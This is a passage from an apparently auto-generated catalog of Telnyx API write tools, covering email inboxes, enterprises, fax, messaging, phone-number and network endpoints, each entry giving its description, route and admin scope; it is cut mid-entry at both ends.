/api/v1/telnyx/email_inboxes/{inbox_id}/filters. Scopes: admin. telnyx_post_email_inboxes_by_inbox_id_messages_by_message_id_actions_forward (write) — Sends from the inbox address through the standard email send pipeline to caller-supplied To, Cc, and Bcc recipients. to must contain at least one recipient. Optional text and html are prepended to a forwarded-message block containing the original metadata and available body content. The subject is prefixed with Fwd: unless it already has that prefix. Threading headers are derived from the original message: In-Reply-To is set to its RFC Message-ID, and References contains the original References values plus that Message-ID, de-duplicated and limited to the most recent 20 values. [Email Inboxes] via POST /email_inboxes/{inbox_id}/messages/{message_id}/actions/forward POST /api/v1/telnyx/email_inboxes/{inbox_id}/messages/{message_id}/actions/forward. Scopes: admin. telnyx_post_email_inboxes_by_inbox_id_messages_by_message_id_actions_reply (write) — Sends from the inbox address through the standard email send pipeline. The recipient is the original Reply-To, falling back to From; original Cc recipients are not included. The subject is prefixed with Re: unless it already has that prefix. Threading headers are derived from the original message: In-Reply-To is set to its RFC Message-ID, and References contains the original References values plus that Message-ID, de-duplicated and limited to the most recent 20 values. [Email Inboxes] via POST /email_inboxes/{inbox_id}/messages/{message_id}/actions/reply POST /api/v1/telnyx/email_inboxes/{inbox_id}/messages/{message_id}/actions/reply. Scopes: admin. telnyx_post_email_inboxes_by_inbox_id_messages_by_message_id_actions_reply_all (write) — Sends from the inbox address through the standard email send pipeline. The To list starts with the original Reply-To (or From) and includes original To recipients; the Cc list includes original Cc recipients. The inbox address is excluded, and recipients are de-duplicated case-insensitively across To and Cc. Bcc is always empty. The subject is prefixed with Re: unless it already has that prefix. Threading headers are derived from the original message: In-Reply-To is set to its RFC Message-ID, and References contains the original References values plus that Message-ID, de-duplicated and limited to the most recent 20 values. [Email Inboxes] via POST /email_inboxes/{inbox_id}/messages/{message_id}/actions/reply_all POST /api/v1/telnyx/email_inboxes/{inbox_id}/messages/{message_id}/actions/reply_all. Scopes: admin. telnyx_post_email_inboxes_by_inbox_id_messages_by_message_id_drafts (write) — Creates an unsent reply draft for an inbound message. Unlike the /actions/reply endpoint, which sends immediately, this stores a draft that can be reviewed and edited before sending. reply_to_message_id and thread_id are inherited from the parent message and cannot be set by the caller. The recipient, Re: subject and In-Reply-To/References headers are pre-filled from the parent using the same rules as a live reply, so sending the draft threads identically. Supplying to or subject explicitly overrides the pre-filled value. [Email Drafts] via POST /email_inboxes/{inbox_id}/messages/{message_id}/drafts POST /api/v1/telnyx/email_inboxes/{inbox_id}/messages/{message_id}/drafts. Scopes: admin. telnyx_post_email_inboxes_by_inbox_id_messages_by_message_id_labels (write) — Adds one or more mutable labels to a message. Labels carry agent workflow state such as spam, needs_review, or processed. Labels are not the same as the send-time tags on outbound messages: tags are immutable and propagate to Email Detail Records and Mission Control for billing attribution, while labels are mailbox state that never reaches the reporting contract. The operation is an idempotent set union — adding a label the message already carries is a no-op and still returns 200. Labels are case-sensitive, and message labels are independent of thread labels. [Email Inboxes] via POST /email_inboxes/{inbox_id}/messages/{message_id}/labels POST /api/v1/telnyx/email_inboxes/{inbox_id}/messages/{message_id}/labels. Scopes: admin. telnyx_post_email_inboxes_by_inbox_id_threads_by_thread_id_labels (write) — Adds one or more mutable labels to a thread, letting an agent mark a whole conversation (for example needs_review) without labelling each message individually. Thread labels are independent of message labels: labelling a thread does not label its messages, and labelling a message does not label its thread. Idempotent and case-sensitive. [Email Inboxes] via POST /email_inboxes/{inbox_id}/threads/{thread_id}/labels POST /api/v1/telnyx/email_inboxes/{inbox_id}/threads/{thread_id}/labels. Scopes: admin. telnyx_post_email_messages (write) — Queues, schedules, or sandbox-sends an email message. The legacy /v2/emails POST route is a backward-compatible alias for this operation. subject is required unless template_id is supplied. When using template_id, do not also provide subject, html_body, or text_body; the template is rendered with template_variables. Note: template lookup failures (not found, wrong account) return 400, not 404. [Email Messages] via POST /email_messages POST /api/v1/telnyx/email_messages. Scopes: admin. telnyx_post_email_messages_batch (write) — Creates up to 50 email messages in a single request. [Email Messages] via POST /email_messages/batch POST /api/v1/telnyx/email_messages/batch. Scopes: admin. telnyx_post_email_templates (write) — Creates a Liquid email template. Variables are auto-extracted when omitted. [Email Templates] via POST /email_templates POST /api/v1/telnyx/email_templates. Scopes: admin. telnyx_post_email_templates_by_id_render (write) — Renders a template using the provided Liquid variables. Missing template_variables defaults to {}. [Email Templates] via POST /email_templates/{id}/render POST /api/v1/telnyx/email_templates/{id}/render. Scopes: admin. telnyx_post_email_unsubscribe_groups (write) — Creates an account-owned unsubscribe group for associating email categories with separate recipient suppression lists. [Email Unsubscribe Groups] via POST /email_unsubscribe_groups POST /api/v1/telnyx/email_unsubscribe_groups. Scopes: admin. telnyx_post_email_unsubscribe_groups_by_id_suppressions (write) — Creates a suppression with reason: unsubscribe, source: manual, group_id: . All other body fields are ignored; only to is read. Idempotent (same dedupe key → 200, no new event). [Email Unsubscribe Groups] via POST /email_unsubscribe_groups/{id}/suppressions POST /api/v1/telnyx/email_unsubscribe_groups/{id}/suppressions. Scopes: admin. telnyx_post_email_validations (write) — Validates a single email address and returns deliverability checks. [Email Validations] via POST /email_validations POST /api/v1/telnyx/email_validations. Scopes: admin. telnyx_post_email_validations_batch (write) — Creates an asynchronous batch validation job for up to 1,000 email addresses. [Email Validations] via POST /email_validations/batch POST /api/v1/telnyx/email_validations/batch. Scopes: admin. telnyx_post_enterprises (write) — Create the legal entity (enterprise) that represents your business on the Telnyx platform. The response carries a server-assigned id you use for every subsequent call. An enterprise is created once and reused; the API collects all required fields up front. Common failure modes: - 422 - a required field is missing or malformed (the response errors[].source.pointer names the field). - 409 - an enterprise with the same identifying details already exists under your account. [Enterprises] via POST /enterprises POST /api/v1/telnyx/enterprises. Scopes: admin. telnyx_post_enterprises_by_enterprise_id_branded_calling (write) — Branded Calling is a paid product that must be activated on each enterprise. Activation is idempotent: - First call: marks the enterprise as activated and begins onboarding it with the Branded Calling platform asynchronously. Returns 200 with branded_calling_enabled: true. - Re-call after success: no-op, returns the same enterprise body. - Re-call after a prior failure: re-queues onboarding, returns 200. Prerequisite: the calling user must have agreed to the Branded Calling Terms of Service (POST /terms_of_service/branded_calling/agree). Without that, this endpoint returns 403 terms_of_service_not_accepted. Failure modes: - 403 - Branded Calling Terms of Service not accepted. - 404 - enterprise does not exist or does not belong to your account. Pricing: This is a billable action. See https://telnyx.com/pricing/numbers for current pricing. [Enterprises] via POST /enterprises/{enterprise_id}/branded_calling POST /api/v1/telnyx/enterprises/{enterprise_id}/branded_calling. Scopes: admin. telnyx_post_enterprises_by_enterprise_id_dir (write) — Create a new DIR under the given enterprise. The DIR starts in draft status; it must be submitted (POST .../submit) and approved by Telnyx before any phone number can be attached. Field rules - display_name: 1–35 characters, no emoji or whitespace-only strings; this is the name shown to recipients. - call_reasons: 1–10 strings, each ≤64 characters; describe why your business calls customers (e.g. 'Appointment reminders', 'Billing inquiries'). Validate the wording against POST /call_reasons/validate. - logo_url: HTTPS URL (max 128 chars) to a 256×256 BMP (max 1 MB). The image is downloaded and hashed at submission time. - documents: up to 20 entries; each document_id must be obtained by uploading the file via the Telnyx Documents API first. Within one DIR a document_id may only appear once. - certify_brand_is_accurate, certify_no_shaft_content, certify_ip_ownership MUST all be true. Failure modes - 422 - validation error; errors[].source.pointer names the offending field. - 403 - Branded Calling not activated on this enterprise (see POST /enterprises/{id}/branded_calling). - 404 - enterprise does not exist or does not belong to your account. [Display Identity Records] via POST /enterprises/{enterprise_id}/dir POST /api/v1/telnyx/enterprises/{enterprise_id}/dir. Scopes: admin. telnyx_post_enterprises_by_enterprise_id_reputation (write) — Activate Phone Number Reputation for the given enterprise. Requires an uploaded Letter of Authorization document (the loa_document_id references the Telnyx Documents API) and a refresh-frequency selection. After activation, individual phone numbers can be registered via POST .../reputation/numbers. Prerequisite: the calling user must have agreed to the Phone Number Reputation Terms of Service (POST /terms_of_service/number_reputation/agree). Failure modes: - 403 - Phone Number Reputation Terms of Service not accepted. - 404 - enterprise does not exist or does not belong to your account. - 400 - reputation already enabled for this enterprise. - 422 - loa_document_id missing or check_frequency invalid. Pricing: This is a billable action. See https://telnyx.com/pricing/numbers for current pricing. [Reputation] via POST /enterprises/{enterprise_id}/reputation POST /api/v1/telnyx/enterprises/{enterprise_id}/reputation. Scopes: admin. telnyx_post_enterprises_by_enterprise_id_reputation_numbers (write) — Add up to 100 phone numbers to reputation monitoring on this enterprise. Each must be in E.164 format (+1NPANXXXXXX for US/CA) and belong to your Telnyx phone-number inventory. Prerequisite: reputation must already be enabled on this enterprise (see POST .../reputation). Pricing: This is a billable action. See https://telnyx.com/pricing/numbers for current pricing. [Reputation] via POST /enterprises/{enterprise_id}/reputation/numbers POST /api/v1/telnyx/enterprises/{enterprise_id}/reputation/numbers. Scopes: admin. telnyx_post_enterprises_by_enterprise_id_reputation_numbers_refresh (write) — Immediately refresh the stored reputation data for the listed numbers. This is in addition to the periodic refresh determined by check_frequency. Up to 100 numbers per call. The response carries the kicked-off jobs; the actual refresh runs asynchronously. Pricing: Forcing a refresh performs live reputation lookups, which are billable. See https://telnyx.com/pricing/numbers for current pricing. [Reputation] via POST /enterprises/{enterprise_id}/reputation/numbers/refresh POST /api/v1/telnyx/enterprises/{enterprise_id}/reputation/numbers/refresh. Scopes: admin. telnyx_post_enterprises_by_enterprise_id_reputation_remediation (write) — Submit a batch of phone numbers belonging to this enterprise for reputation remediation. The request is accepted asynchronously: this endpoint returns 202 with the persisted request id, then the request transitions through processing states until completion. Use the GET endpoints to poll status and per-number results. Each phone number must be in E.164 format and belong to this enterprise. A number that already has an in-flight remediation request is rejected. [Reputation] via POST /enterprises/{enterprise_id}/reputation/remediation POST /api/v1/telnyx/enterprises/{enterprise_id}/reputation/remediation. Scopes: admin. telnyx_post_external_connections (write) — Creates a new External Connection based on the parameters sent in the request. The external_sip_connection and outbound voice profile id are required. Once created, you can assign phone numbers to your application using the /phone_numbers endpoint. [External Connections] via POST /external_connections POST /api/v1/telnyx/external_connections. Scopes: admin. telnyx_post_external_connections_by_id_uploads (write) — Creates a new Upload request to Microsoft teams with the included phone numbers. Only one of civic_address_id or location_id must be provided, not both. The maximum allowed phone numbers for the numbers_ids array is 1000. [External Connections] via POST /external_connections/{id}/uploads POST /api/v1/telnyx/external_connections/{id}/uploads. Scopes: admin. telnyx_post_external_connections_by_id_uploads_by_ticket_id_retry (write) — If there were any errors during the upload process, this endpoint will retry the upload request. In some cases this will reattempt the existing upload request, in other cases it may create a new upload request. Please check the ticket_id in the response to determine if a new upload request was created. [External Connections] via POST /external_connections/{id}/uploads/{ticket_id}/retry POST /api/v1/telnyx/external_connections/{id}/uploads/{ticket_id}/retry. Scopes: admin. telnyx_post_external_connections_by_id_uploads_refresh (write) — Forces a recheck of the status of all pending Upload requests for the given external connection in the background. [External Connections] via POST /external_connections/{id}/uploads/refresh POST /api/v1/telnyx/external_connections/{id}/uploads/refresh. Scopes: admin. telnyx_post_fax_applications (write) — Creates a new Fax Application based on the parameters sent in the request. The application name and webhook URL are required. Once created, you can assign phone numbers to your application using the /phone_numbers endpoint. [Programmable Fax Applications] via POST /fax_applications POST /api/v1/telnyx/fax_applications. Scopes: admin. telnyx_post_faxes (write) — Send a fax. Files have size limits and page count limit validations. If a file is bigger than 50MB or has more than 350 pages it will fail with file_size_limit_exceeded and page_count_limit_exceeded respectively. Supported file formats: - PDF (application/pdf) - TIFF (application/tiff, image/tiff) - JPEG (image/jpeg) - PNG (image/png) - Microsoft Word .doc (application/msword) - Microsoft Word .docx (application/vnd.openxmlformats-officedocument.wordprocessingml.document) - Rich Text Format .rtf (application/rtf) - Plain text .txt (text/plain) Expected Webhooks: - fax.queued - fax.media.processed - fax.sending.started - fax.delivered - fax.failed [Programmable Fax Commands] via POST /faxes POST /api/v1/telnyx/faxes. Scopes: admin. telnyx_post_faxes_by_id_actions_cancel (write) — Cancel the outbound fax that is in one of the following states: queued, media.processed, originated or sending [Programmable Fax Commands] via POST /faxes/{id}/actions/cancel POST /api/v1/telnyx/faxes/{id}/actions/cancel. Scopes: admin. telnyx_post_faxes_by_id_actions_refresh (write) — Refreshes the inbound fax's media_url when it has expired [Programmable Fax Commands] via POST /faxes/{id}/actions/refresh POST /api/v1/telnyx/faxes/{id}/actions/refresh. Scopes: admin. telnyx_post_fqdn_connections (write) — Creates a new FQDN-based SIP connection. FQDN connections authenticate by your registered domain names rather than static IP addresses. [FQDN Connections] via POST /fqdn_connections POST /api/v1/telnyx/fqdn_connections. Scopes: admin. telnyx_post_fqdns (write) — Creates a new FQDN record and attaches it to the specified connection. [FQDNs] via POST /fqdns POST /api/v1/telnyx/fqdns. Scopes: admin. telnyx_post_global_ip_assignments (write) — Assigns a Global IP to a WireGuard peer so traffic destined for the IP is delivered over that peer's tunnel. Assignment is asynchronous, so the request is accepted and completes in the background. [Global IPs] via POST /global_ip_assignments POST /api/v1/telnyx/global_ip_assignments. Scopes: admin. telnyx_post_global_ip_health_checks (write) — Creates a health check for a Global IP to monitor the health of its assignments. Creation is asynchronous, so the request is accepted and the health check becomes active once provisioning completes. [Global IPs] via POST /global_ip_health_checks POST /api/v1/telnyx/global_ip_health_checks. Scopes: admin. telnyx_post_global_ips (write) — Requests creation of a new Global IP, a static IP address announced from the Telnyx network. Provisioning is asynchronous, so the request is accepted and the Global IP becomes available once provisioning completes. [Global IPs] via POST /global_ips POST /api/v1/telnyx/global_ips. Scopes: admin. telnyx_post_inexplicit_number_orders (write) — Create an inexplicit number order to programmatically purchase phone numbers without specifying exact numbers. [Inexplicit Number Orders] via POST /inexplicit_number_orders POST /api/v1/telnyx/inexplicit_number_orders. Scopes: admin. telnyx_post_infringement_claims_by_claim_id_contest (write) — Submit a written response and supporting documents disputing the claim. The first call moves the claim from pending to contested; subsequent calls append supplementary evidence without changing status. The documents[] you attach are aggregated across rounds in the claim's contest_documents field. Only pending and contested claims accept new evidence. A resolved claim returns 400. Failure modes: - 400 - the claim is resolved (terminal); cannot be contested further. - 404 - the claim does not exist or is not against a DIR you own. - 422 - contest_notes is too short (< 10 chars), too long (> 2000 chars), documents is > 20 entries, or a document_id is duplicated within the same submission. [Infringement Claims] via POST /infringement_claims/{claim_id}/contest POST /api/v1/telnyx/infringement_claims/{claim_id}/contest. Scopes: admin. telnyx_post_integration_secrets (write) — Create a new secret with an associated identifier that can be used to securely integrate with other services. [Integration Secrets] via POST /integration_secrets POST /api/v1/telnyx/integration_secrets. Scopes: admin. telnyx_post_ip_connections (write) — Creates a new IP-based SIP connection, which authenticates traffic by source IP address. [IP Connections] via POST /ip_connections POST /api/v1/telnyx/ip_connections. Scopes: admin. telnyx_post_ips (write) — Creates a new IP record for use with IP-based connections, associating an IP address with the specified connection. [IPs] via POST /ips POST /api/v1/telnyx/ips. Scopes: admin. telnyx_post_ledger_billing_group_reports (write) — Create a ledger billing group report, which aggregates ledger activity by billing group. [Reports] via POST /ledger_billing_group_reports POST /api/v1/telnyx/ledger_billing_group_reports. Scopes: admin. telnyx_post_legacy_reporting_batch_detail_records_messaging (write) — Creates a new MDR detailed report request with the specified filters [MDR Detailed Reports] via POST /legacy_reporting/batch_detail_records/messaging POST /api/v1/telnyx/legacy_reporting/batch_detail_records/messaging. Scopes: admin. telnyx_post_legacy_reporting_batch_detail_records_speech_to_text (write) — Creates a new Speech to Text batch report request with the specified filters [Speech to Text Batch Reports] via POST /legacy/reporting/batch_detail_records/speech_to_text POST /api/v1/telnyx/legacy/reporting/batch_detail_records/speech_to_text. Scopes: admin. telnyx_post_legacy_reporting_batch_detail_records_voice (write) — Creates a new CDR report request with the specified filters [CDR Reports] via POST /legacy_reporting/batch_detail_records/voice POST /api/v1/telnyx/legacy_reporting/batch_detail_records/voice. Scopes: admin. telnyx_post_managed_accounts (write) — Create a new managed account owned by the authenticated user. You need to be explictly approved by Telnyx in order to become a manager account. [Managed Accounts] via POST /managed_accounts POST /api/v1/telnyx/managed_accounts. Scopes: admin. telnyx_post_managed_accounts_by_id_actions_disable (write) — Disables a managed account, forbidding it to use Telnyx services, including sending or receiving phone calls and SMS messages. Ongoing phone calls will not be affected. The managed account and its sub-users will no longer be able to log in via the mission control portal. [Managed Accounts] via POST /managed_accounts/{id}/actions/disable POST /api/v1/telnyx/managed_accounts/{id}/actions/disable. Scopes: admin. telnyx_post_managed_accounts_by_id_actions_enable (write) — Enables a managed account and its sub-users to use Telnyx services. [Managed Accounts] via POST /managed_accounts/{id}/actions/enable POST /api/v1/telnyx/managed_accounts/{id}/actions/enable. Scopes: admin. telnyx_post_media (write) — Upload media file to Telnyx so it can be used with other Telnyx services [Media Storage API] via POST /media POST /api/v1/telnyx/media. Scopes: admin. telnyx_post_meeting_sessions (write) — Creates a new meeting session. When an idempotency_key is supplied in the request body, replay lookup is scoped to the authenticated account and compares only the key; the request payload is not fingerprinted or compared. If a session with that key already exists for the account, the existing session is replayed (200); otherwise a new session is created (201). Supports bring-your-own-key (BYOK) configuration. The session may enter asynchronous states (e.g. joining, waiting_for_admission) before becoming active. Optional camera_image input is write-only and applies only when no Avatar or Assistant webpage output takes precedence. An ignored URL is not fetched. An effective URL source is resolved before bot creation; neither the source URL nor image bytes are persisted, returned, or logged. Treat signed URLs as credentials. [Meeting Sessions] via POST /meeting_sessions POST /api/v1/telnyx/meeting_sessions. Scopes: admin. telnyx_post_meeting_sessions_by_id_actions_send_chat (write) — Sends a chat message into a meeting session. [Meeting Session Actions] via POST /meeting_sessions/{id}/actions/send_chat POST /api/v1/telnyx/meeting_sessions/{id}/actions/send_chat. Scopes: admin. telnyx_post_meeting_sessions_by_id_actions_speak (write) — Sends audio / text-to-speech into a meeting session. [Meeting Session Actions] via POST /meeting_sessions/{id}/actions/speak POST /api/v1/telnyx/meeting_sessions/{id}/actions/speak. Scopes: admin. telnyx_post_meeting_sessions_by_id_actions_stop_speaking (write) — Stops any active text-to-speech playback in a meeting session. [Meeting Session Actions] via POST /meeting_sessions/{id}/actions/stop_speaking POST /api/v1/telnyx/meeting_sessions/{id}/actions/stop_speaking. Scopes: admin. telnyx_post_meeting_sessions_by_id_artifacts (write) — Requests asynchronous generation of one summary or action_items artifact. Each type requires its own request. Generation requires transcript content and configured inference and currently reads at most the first 10,000 segments, so exceptionally long transcripts may produce incomplete artifacts or fail model limits. [Meeting Session Artifacts] via POST /meeting_sessions/{id}/artifacts POST /api/v1/telnyx/meeting_sessions/{id}/artifacts. Scopes: admin. telnyx_post_messages (write) — Send a message with a Phone Number, Alphanumeric Sender ID, Short Code or Number Pool. This endpoint allows you to send a message with any messaging resource. Current messaging resources include: long-code, short-code, number-pool, and alphanumeric-sender-id. [Messages] via POST /messages POST /api/v1/telnyx/messages. Scopes: admin. telnyx_post_messages_alphanumeric_sender_id (write) — Send an SMS message using an alphanumeric sender ID. This is SMS only. [Messages] via POST /messages/alphanumeric_sender_id POST /api/v1/telnyx/messages/alphanumeric_sender_id. Scopes: admin. telnyx_post_messages_group_mms (write) — Queues an MMS addressed to multiple recipients as a group conversation. Delivery events are reported asynchronously through messaging webhooks. [Messages] via POST /messages/group_mms POST /api/v1/telnyx/messages/group_mms. Scopes: admin. telnyx_post_messages_long_code (write) — Queues an outbound SMS or MMS using a long-code sender. Delivery progress and final disposition are reported asynchronously through messaging webhooks. [Messages] via POST /messages/long_code POST /api/v1/telnyx/messages/long_code. Scopes: admin. telnyx_post_messages_number_pool (write) — Queues an outbound message using a number pool. Telnyx selects an eligible sender from the pool according to its messaging profile configuration. [Messages] via POST /messages/number_pool POST /api/v1/telnyx/messages/number_pool. Scopes: admin. telnyx_post_messages_rcs (write) — Queues an outbound RCS message through the selected RCS agent. Check recipient capabilities before sending features that require RCS support. [RCS] via POST /messages/rcs POST /api/v1/telnyx/messages/rcs. Scopes: admin. telnyx_post_messages_schedule (write) — Schedule a message with a Phone Number, Alphanumeric Sender ID, Short Code or Number Pool. This endpoint allows you to schedule a message with any messaging resource. Current messaging resources include: long-code, short-code, number-pool, and alphanumeric-sender-id. [Messages] via POST /messages/schedule POST /api/v1/telnyx/messages/schedule. Scopes: admin. telnyx_post_messages_short_code (write) — Queues an outbound SMS or MMS using a short-code sender. Delivery progress and final disposition are reported asynchronously through messaging webhooks. [Messages] via POST /messages/short_code POST /api/v1/telnyx/messages/short_code. Scopes: admin. telnyx_post_messages_whatsapp (write) — Sends a WhatsApp message using a Telnyx WhatsApp-enabled number. The message body, interactive elements, media, location, and reaction content are specified in the whatsapp_message field. Delivery progress and final disposition are reported asynchronously through messaging webhooks. [Whatsapp messaging] via POST /messages/whatsapp POST /api/v1/telnyx/messages/whatsapp. Scopes: admin. telnyx_post_messaging_hosted_number_orders (write) — Creates an order to enable Telnyx messaging on phone numbers whose voice service remains with another carrier. [Hosted Numbers] via POST /messaging_hosted_number_orders POST /api/v1/telnyx/messaging_hosted_number_orders. Scopes: admin. telnyx_post_messaging_hosted_number_orders_by_id_validation_codes (write) — Validate the verification codes sent to the numbers of the hosted order. The verification codes must be created in the verification codes endpoint. [Hosted Numbers] via POST /messaging_hosted_number_orders/{id}/validation_codes POST /api/v1/telnyx/messaging_hosted_number_orders/{id}/validation_codes. Scopes: admin. telnyx_post_messaging_hosted_number_orders_by_id_verification_codes (write) — Create verification codes to validate numbers of the hosted order. The verification codes will be sent to the numbers of the hosted order. [Hosted Numbers] via POST /messaging_hosted_number_orders/{id}/verification_codes POST /api/v1/telnyx/messaging_hosted_number_orders/{id}/verification_codes. Scopes: admin. telnyx_post_messaging_hosted_number_orders_eligibility_numbers_check (write) — Checks whether the supplied phone numbers are eligible for hosted messaging before an order is created. [Hosted Numbers] via POST /messaging_hosted_number_orders/eligibility_numbers_check POST /api/v1/telnyx/messaging_hosted_number_orders/eligibility_numbers_check. Scopes: admin. telnyx_post_messaging_numbers_bulk_updates (write) — Starts a bulk update of messaging-profile assignments for the supplied phone numbers. The response identifies the order used to monitor processing. [Number Settings] via POST /messaging_numbers_bulk_updates POST /api/v1/telnyx/messaging_numbers_bulk_updates. Scopes: admin. telnyx_post_messaging_profiles (write) — Creates a messaging profile that controls outbound sender selection, webhook delivery, and inbound message handling for associated numbers and short codes. [Profiles] via POST /messaging_profiles POST /api/v1/telnyx/messaging_profiles. Scopes: admin. telnyx_post_messaging_profiles_by_id_actions_regenerate_secret (write) — Regenerate the v1 secret for a messaging profile. [Messaging] via POST /messaging_profiles/{id}/actions/regenerate_secret POST /api/v1/telnyx/messaging_profiles/{id}/actions/regenerate_secret. Scopes: admin. telnyx_post_messaging_profiles_by_profile_id_autoresp_configs (write) — Creates an auto-response rule on the specified messaging profile. Matching inbound messages trigger the configured response. [Opt-Out Management] via POST /messaging_profiles/{profile_id}/autoresp_configs POST /api/v1/telnyx/messaging_profiles/{profile_id}/autoresp_configs. Scopes: admin. telnyx_post_messaging_rcs_bulk_capabilities (write) — Returns RCS capability information for multiple recipients in one request. [RCS] via POST /messaging/rcs/bulk_capabilities POST /api/v1/telnyx/messaging/rcs/bulk_capabilities. Scopes: admin. telnyx_post_messaging_tollfree_verification_requests (write) — Submit a new tollfree verification request [Verification Requests] via POST /messaging_tollfree/verification/requests POST /api/v1/telnyx/messaging_tollfree/verification/requests. Scopes: admin. telnyx_post_mobile_push_credentials (write) — Creates a new mobile push credential for delivering push notifications to iOS or Android apps, and returns the created credential. [Push Credentials] via POST /mobile_push_credentials POST /api/v1/telnyx/mobile_push_credentials. Scopes: admin. telnyx_post_networks (write) — Creates a new private network, the container that links your WireGuard interfaces, gateways, and cross connects. [Networks] via POST /networks POST /api/v1/telnyx/networks. Scopes: admin. telnyx_post_networks_by_id_default_gateway (write) — Creates a default gateway on the specified network, directing the network's outbound traffic through the chosen gateway. [Networks] via POST /networks/{id}/default_gateway POST /api/v1/telnyx/networks/{id}/default_gateway. Scopes: admin. telnyx_post_notification_channels (write) — Creates a new notification channel defining where notifications are delivered, and returns the created channel. [Notifications] via POST /notification_channels POST /api/v1/telnyx/notification_channels. Scopes: admin. telnyx_post_notification_profiles (write) — Creates a new notification profile, a named grouping used to organize notification settings, and returns it. [Notifications] via POST /notification_profiles POST /api/v1/telnyx/notification_profiles. Scopes: admin. telnyx_post_notification_settings (write) — Adds a notification setting that enables delivery of a notification event type to a notification profile. [Notifications] via POST /notification_settings POST /api/v1/telnyx/notification_settings. Scopes: admin. telnyx_post_number_block_orders (write) — Creates an order for a block of consecutive phone numbers and returns the created order. Track fulfillment through the order's status. [Phone Number Block Orders] via POST /number_block_orders POST /api/v1/telnyx/number_block_orders. Scopes: admin. telnyx_post_number_order_phone_numbers_by_id_requirement_group (write) — Associates an existing requirement group with a phone number in a number order. The response contains the updated number-order phone-number details. [Requirement Groups] via POST /number_order_phone_numbers/{id}/requirement_group POST /api/v1/telnyx/number_order_phone_numbers/{id}/requirement_group. Scopes: admin. telnyx_post_number_orders (write) — Creates an order to purchase the specified phone numbers and returns the created order. Track fulfillment through the order's status. [Phone Number Orders] via POST /number_orders POST /api/v1/telnyx/number_orders. Scopes: admin. telnyx_post_number_reservations (write) — Creates a Phone Number Reservation for multiple numbers. [Phone Number Reservations] via POST /number_reservations POST /api/v1/telnyx/number_reservations. Scopes: admin. telnyx_post_number_reservations_by_number_reservation_id_actions_extend (write) — Extends reservation expiry time on all phone numbers. [Phone Number Reservations] via POST /number_reservations/{number_reservation_id}/actions/extend POST /api/v1/telnyx/number_reservations/{number_reservation_id}/actions/extend. Scopes: admin. telnyx_post_numbers_features (write) — Retrieve the features for a list of numbers [numbers features] via POST /numbers_features POST /api/v1/telnyx/numbers_features. Scopes: admin. telnyx_post_oauth_clients (write) — Creates a new OAuth client on your account for authenticating third-party integrations, and returns the created client. [OAuth Clients] via POST /oauth_clients POST /api/v1/telnyx/oauth_clients. Scopes: admin. telnyx_post_operator_connect_actions_refresh (write) — This endpoint will make an asynchronous request to refresh the Operator Connect integration with Microsoft Teams for the current user. This will create new external connections on the user's account if needed, and/or report the integration results as log messages. [External Connections] via POST /operator_connect/actions/refresh POST /api/v1/telnyx/operator_connect/actions/refresh. Scopes: admin. telnyx_post_organizations_users_by_id_actions_remove (write) — Removes the specified user from your organization and returns the result of the removal. [Organization Users] via POST /organizations/users/{id}/actions/remove POST /api/v1/telnyx/organizations/users/{id}/actions/remove. Scopes: admin. telnyx_post_outbound_voice_profiles (write) — Creates a new outbound voice profile defining calling permissions, destinations, and limits for outbound calls, and returns the created profile. [Outbound Voice Profiles] via POST /outbound_voice_profiles POST /api/v1/telnyx/outbound_voice_profiles. Scopes: admin. telnyx_post_phone_number_blocks_jobs_delete_phone_number_block (write) — Creates a new background job to delete all the phone numbers associated with the given block. We will only consider the phone number block as deleted after all phone numbers associated with it are removed, so multiple executions of this job may be necessary in case some of the phone numbers present errors during the deletion process. [Phone Number Blocks Background Jobs] via POST /phone_number_blocks/jobs/delete_phone_number_block POST /api/v1/telnyx/phone_number_blocks/jobs/delete_phone_number_block. Scopes: admin. telnyx_post_phone_numbers_actions_verify_ownership (write) — Verifies ownership of the provided phone numbers and returns a mapping of numbers to their IDs, plus a list of numbers not found in the account. [Phone Number Configurations] via POST /phone_numbers/actions/verify_ownership POST /api/v1/telnyx/phone_numbers/actions/verify_ownership. Scopes: admin. telnyx_post_phone_numbers_by_id_actions_enable_emergency (write) — Associates emergency-service settings with the specified phone number. The operation returns the updated phone-number configuration when completed immediately or an accepted state when processing continues asynchronously. [Phone Number Configurations] via POST /phone_numbers/{id}/actions/enable_emergency POST /api/v1/telnyx/phone_numbers/{id}/actions/enable_emergency. Scopes: admin. telnyx_post_phone_numbers_by_phone_number_id_voicemail (write) — Create voicemail settings for a phone number. You can also configure a custom greeting by setting the greeting object: use mode custom_greeting together with a media_name that points to an audio file uploaded through the Media Storage API, or mode default to use the standard system greeting. [Voicemail] via POST /phone_numbers/{phone_number_id}/voicemail POST /api/v1/telnyx/phone_numbers/{phone_number_id}/voicemail. Scopes: admin. telnyx_post_phone_numbers_csv_downloads (write) — Starts generation of a CSV export for phone numbers matching the supplied filters. The csv_format parameter selects the output format, and the response contains the resulting download record. [CSV Downloads] via POST /phone_numbers/csv_downloads POST /api/v1/telnyx/phone_numbers/csv_downloads. Scopes: admin. telnyx_post_phone_numbers_jobs_delete_phone_numbers (write) — Creates a new background job to delete a batch of numbers. At most one thousand numbers can be updated per API call. [Bulk Phone Number Operations] via POST /phone_numbers/jobs/delete_phone_numbers POST /api/v1/telnyx/phone_numbers/jobs/delete_phone_numbers. Scopes: admin. telnyx_post_phone_numbers_jobs_update_emergency_settings (write) — Creates a background job to update the emergency settings of a collection of phone numbers. At most one thousand numbers can be updated per API call. [Bulk Phone Number Operations] via POST /phone_numbers/jobs/update_emergency_settings POST /api/v1/telnyx/phone_numbers/jobs/update_emergency_settings. Scopes: admin. telnyx_post_phone_numbers_jobs_update_phone_numbers (write) — Creates a new background job to update a batch of numbers. At most one thousand numbers can be updated per API call. At least one of the updateable fields must be submitted. IMPORTANT: You must either specify filters (using the filter parameters) or specific phone numbers (using the phone_numbers parameter in the request body). If you specify filters, ALL phone numbers that match the given filters (up to 1000 at a time) will be updated. If you want to update only specific numbers, you must use the phone_numbers parameter in the request body. When using the phone_numbers parameter, ensure you follow the correct format as shown in the example (either phone number IDs or phone numbers in E164 format). [Bulk Phone Number Operations] via POST /phone_numbers/jobs/update_phone_numbers POST /api/v1/telnyx/phone_numbers/jobs/update_phone_numbers. Scopes: admin. telnyx_post_portability_checks (write) — Runs a portability check, returning the results immediately. [Phone Number Porting] via POST /portability_checks POST /api/v1/telnyx/portability_checks. Scopes: admin. telnyx_post_porting_events_by_id_republish (write) — Republishes the specified porting event, triggering re-delivery of the corresponding webhook to your account. [Porting Orders] via POST /porting/events/{id}/republish POST /api/v1/telnyx/porting/events/{id}/republish. Scopes: admin. telnyx_post_porting_loa_configurations (write) — Creates a new LOA 